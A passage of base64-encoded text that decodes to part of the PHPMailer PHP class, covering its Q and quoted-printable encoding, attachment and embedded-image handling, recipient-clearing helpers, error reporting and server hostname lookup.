lMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZW